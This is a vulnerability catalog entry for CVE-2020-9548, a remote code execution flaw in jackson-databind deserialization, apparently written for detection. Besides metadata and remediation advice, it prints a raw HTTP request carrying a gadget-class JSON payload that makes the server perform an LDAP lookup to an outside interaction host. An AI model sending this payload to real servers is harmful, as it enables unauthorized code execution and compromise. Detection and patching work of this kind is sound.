| Title | FasterXML Jackson Databind <=2.9.10.4 - Remote Code Execution |
|---|---|
| Author | tomaquet18 |
| Severity | Critical |
| Impact | Remote attackers can execute arbitrary code during deserialization, potentially leading to full system compromise. |
| Remediation | Update to version 2.9.10.4 or later. |
| CVSS Score | 9.8 |
| EPSS Score | 0.62015 |
| CVE ID | CVE-2020-9548 |
| CWE ID | CWE-502 |
| Tags | cve cve2020 jackson fasterxml rce vkev vuln |
FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to br.com.anteros.dbcp.AnterosDBCPConfig (aka anteros-core).
POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Content-Length: 139
Content-Type: application/json
Accept-Encoding: gzip
[
"br.com.anteros.dbcp.AnterosDBCPConfig",
{
"healthCheckRegistry": "ldap://d5jp4uple0o4hm1s1sm0is18xaf3jbhcd.oast.site"
}
]
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-9548.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-9548.pcap
N/AN/A